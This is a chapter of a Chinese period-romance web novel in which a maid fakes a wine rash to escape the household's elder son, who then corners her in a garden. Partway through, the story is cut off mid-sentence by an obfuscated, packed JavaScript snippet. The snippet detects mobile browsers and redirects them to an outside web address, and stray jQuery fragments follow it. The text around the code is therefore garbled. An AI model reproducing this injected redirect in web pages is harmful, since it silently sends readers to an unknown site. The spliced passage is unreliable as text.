文趣网 > 其他小说 > 缚水 > 6.第六章
    沈府园子极大,她们东拉西扯地闲聊,已走了好一会,却离“凝芳小筑”还有一半的路程。

    空青看意铮眼睛都比平日要清亮几分,直等着她的下文,更是受了鼓舞,讲得愈发绘声绘色,分外来劲:“此后不久夫人就知道了她的心意,到底还是疼亲侄女的,想着表姑娘毕竟还小,再大些人会慢慢稳重起来,心里还是属意于她。”

    “还挂念着二爷与表姑娘长大后就避了嫌,已好几年没见过了,既然表姑娘遥遥一望,对二爷这样满意,也得让自己儿子看下喜不喜欢呀。”

    包办婚姻下的部分民主,意铮心里暗暗注解。

    “结果姑娘你猜怎么着?表姑娘本来是欢欢喜喜地装扮好了来赴宴,也早知道了夫人这层意思,在宴间觉察到庭外有人时,又情难自禁地悄悄瞧了一眼,这一瞧,却瞧得眼圈飞红、神色古怪。”

    “后来才知道,表姑娘先前远远看到的不是二爷,是回府过年节的大爷。她在家是被宠得没边的,没等旁人拦着,就直不愣愣地说出来,夫人差点都要气晕过去。”

    白薇补充道:“那天厅内还有二房的人呢,捂得再严,没几日也传出去了。夫人恨得有大半年没和张家来往。”

    意铮印象里张夫人是眼角眉梢全然一副雍容气度,神色总是沉静舒和,便是心有不虞,面上也如菩萨般不见波澜,竟还有被小辈气到如此的时候,真是家家都有熊孩子。

    “说起来,这也是三四年前的事了,二爷那会子身子还好,这桩事还是书塾里的各家子弟闲时说笑,才传回他耳朵里的,那次许是气极了,回到院里只一个人待在书房,不许人进,还笑得唬人,吓得连我们都避得远远的。”白薇和空青一齐重重点头,显然是印象深刻、深受其害。

    意铮被她俩心有余悸的样子逗得忍俊不禁。

    不过她确实很能理解沈鋆昭这种心情,不仅被退货了,还是因为竞品被退货了,不仅因为竞品被退货了,还类似登上地方小报被当乐子了。

    这静慈表姑娘真是人非其名,干出的事在这时代里真是分外出格,父母兄长要多疼爱,才能这样敢想敢做,这真是她两世都修不来的运道,她甚至有些羡慕。

    “那闹得那么难看,为什么今日又一起……”

    她还没问完,空青便接口道:“那毕竟是骨肉亲情嘛,割舍不断的,再者多半是表姑娘还存着心思想再瞧瞧一见倾心的大表哥吧?”她说着笑起来。

    “啊?那……大爷也来?”

    “怎么会?”白薇折了几枝带着鹅黄色小花的细条,有一搭没一搭地编着花环,闻言笑着回道,“大爷大抵这两天便要收拾停当回京了,必是忙得恨,论起来张家舅爷也不是他的正经舅舅,他来东席敬杯酒、道声好已是最客气不过了,谁还能挑他的理?连西席上的表姑娘都不一定能瞧得见他。”

    “况且我们又不进里边,只在外头廊下听听,放心吧,遇不着。”

    意铮好久都没这样真心开怀了,本来她还有略略担忧,但听了白薇的话,心里重担终于放下。

    空青两只手推着两个人的背,孩子气地笑骂道:“快走快走,你俩走得磨磨蹭蹭,但凡有点好事,都赶不上头茬。”三人嬉闹着加快脚步。

    意铮平时的活动都囿于几处,今日行走身临其间,才知这园子是如此层楼叠榭、宛自天成,若是她一人前行,恐怕走到天黑也寻不到去处。

    终于穿过几重垂花门楼,再行一段曲折的抄手游廊,行至廊尽处,便见两扇对开大门,门楣上悬一块乌木匾额,匾上的字苍劲端雅,似题的是“凝晖堂”。

    越是走近,丝竹锣鼓之声越是悠悠荡荡、渐渐清晰,婉转戏腔翻过院墙、如泣如诉,合着院内的声嚣一浪浪入耳,想来这里间便是沈府专用来游乐听戏的“凝芳小筑”。

    白薇和空青并不直入,携着意铮沿着院墙往西侧一拐,进入一小角门后又走了一段,才见这檐下回廊已设了两个小桌,供暂不用去伺候的丫鬟们歇脚吃点心。

    白薇笑着向意铮解释道:“这是沈家的主子们宽宏,平常摆戏、宴饮,得宜的时候也让下边的人一同乐一乐。”便拉着意铮上前,和相熟的女孩儿们打趣起来:“我们今日带了水青姑娘一起来,你们这两桌子娇啊朵啊的,连着这满池子的莲花,都被比下去了吧?”

    经她一声,本在赏花、吃点心、说悄悄话的女孩儿们都看了过来,有几个围过来挽住意铮的胳膊,拉她入座,“从前只远远瞧见过,今日一见,九天仙女也不过如此了罢。”一声声一句句,直夸得意铮飞红一片。

    有个女孩儿长得分外不俗,坐着未起身,从上到下扫了意铮几眼,眼中惊艳,却不向她开口,只朝着白薇打趣:“你可小心,莲花含苞为菡萏,盛开了便是芙蕖,这可是主子奶奶的名讳,你还在这拿人比上了。”

    “就你这张嘴最是利害,心是好的,说话也太不饶人了,今日这话是你说的,若是夫人知道了罚我,我必要拉你一起受罚了。”白薇嗔道。

    意铮从前独来独往惯了,如今看着一群明媚鲜妍的女孩儿,聚在一起吵吵嚷嚷的,却也不觉得别扭,反而觉得人活络了起来,虽不知道说些什么,却笑得眉目舒朗。

    过了好一会,大家才稍稍静坐,摇着扇听着里间遥遥传出的戏腔,意铮只觉曲声飘渺,似幻非幻,正唱的这段格外凄婉,像是在唱天涯远隔、相思无凭,她竟听得入神。

    “诶”,靠在她肩上的空青随口一句,“素陶怎么站那?”

    “素陶?”

    “是呀,大爷院里的,她站那做什么,不来这里坐坐”,她拉着意铮就要起身,“我们去打声招呼。”

    意铮忙推说太热了,懒怠动,空青便自顾自地去了。说不明白为什么,她忽感不妙。

    她的身侧有一小杯果子酒,是旁人端给她的,说里边只有一点点酒,并不醉人,她当时听了也是笑着只稍抿了抿,并未入口。

    意铮沉思片刻,端起杯子一饮而尽。

    果然,脸上胳膊上红热肿痛,发起了疹子,她状不经意地扭头。

    “啊这是怎么了?”白薇吓得忙说,“赶紧去洗把脸。”

    白薇连忙扶她往外走,她算着快走到素陶目之所及

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17763187|209606||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    之处,把好时机,顺势瘫软到了白薇身上……

    “姑娘,你真是吓坏我了。”凝晖堂离怀拙院还有好长的路,白薇只得找了个近一点的有干净水的小园,绞了帕子给意铮擦脸,嘴里难免抱怨两声,“不能沾酒还喝,万一真出事了可这么办呢?”

    意铮摸了摸白薇蹙起的眉头,一叠声地说着抱歉,“我实在是忘了那杯果露里面有酒。”

    “没有大碍,现在都消下去好多了,你回去和空青继续玩会,我在这歇歇就回。”

    “也快散场了”,白薇性情温和,看意铮满脸歉意,反倒不好意思起来,“我等下折回去喊她,一道回吧,你在阴凉地方候候我俩。”说罢,把手帕再绞了一回,放意铮手中,便步履匆匆往回走。

    意铮仰倒在树荫下的石条凳上,把帕子平平摊开,铺在自己的脸上冷敷着,透过帕子,朦朦胧胧,树影斑驳,耳边蝉鸣声声,枝叶沙沙作响,一会儿工夫便生出浓浓困意。

    她昏昏沉沉地打起盹,没盹多久,耳边便响起轻微的脚步声,她素来觉浅,这几年更是警觉,一下子便醒了过来。

    睁开眼一看,差点直接滚落地下。

    什么叫“朦胧见,鬼灯一线,露出桃花面”,她总算是知道了。

    青天白日的,意铮七魂丢了六魄,吓得连一声都没叫出来。

    始作俑者负手而立,看着面前人瑟瑟发颤,不由轻笑,身上松香随着他腰间环佩越荡越近,四方官步迈到眼前,缓缓开口:“这脸是怎么了?”他像是在说稀松平常的家常话,嘴角含笑,面带春风,好一个如圭如璋的“君子”。

    意铮慌忙起身,捡起刚才惊恐之下掉落在地的帕子,强按下心头恐惧,低低地行了个礼,回道:“奴婢不胜酒力,有些吃醉了。”

    “哦?原来如此。”沈鋆则拂衣便坐,他身量高,坐下也与意铮平视,“怪不得爷有事找你,差使人去‘请’,你便已经不在那处了。”

    果然!果然自己料想得没错,只是没想到此人脸皮这么厚,贼心不死跟到此处,真是装都不装了。意铮如临大敌,但在林间,她便是想上吊都没绳子!

    封建礼教迂腐害人,但是此时此刻她手里只有这一把利刃,她正色道:“大爷,我是您弟弟的房中人,男女大防,这样相谈实在不妥,请大爷速速回转,我也会当作从未在此见到过大爷。”

    见沈鋆则沉默,她涨红着脸补充道:“我已是二爷的人……二爷对我珍视非常,看我迟迟不归必会遣人来寻我。若是因我徒增误会,使得兄弟阋墙、家宅不宁……”她说不下去了,她知道,若是如此,死的只会是她。

    沈鋆则依旧不语,脸上玩味越发浓重,他在两人漫长的沉默中神色怡然,悠悠地用乌木骨折扇叩打着身下的石条凳,饶有趣味地观赏着。

    观赏着意铮因恐惧而滴落的汗珠,随着他的扇柄敲击声摔碎在地,一滴一滴。

    “若说这么机敏的心思和当机立断的果决,在二弟院子里做个通房丫鬟岂不是埋没了好人才?”

    “没那个命当夫人小姐,恐怕在别处还有一方天地……”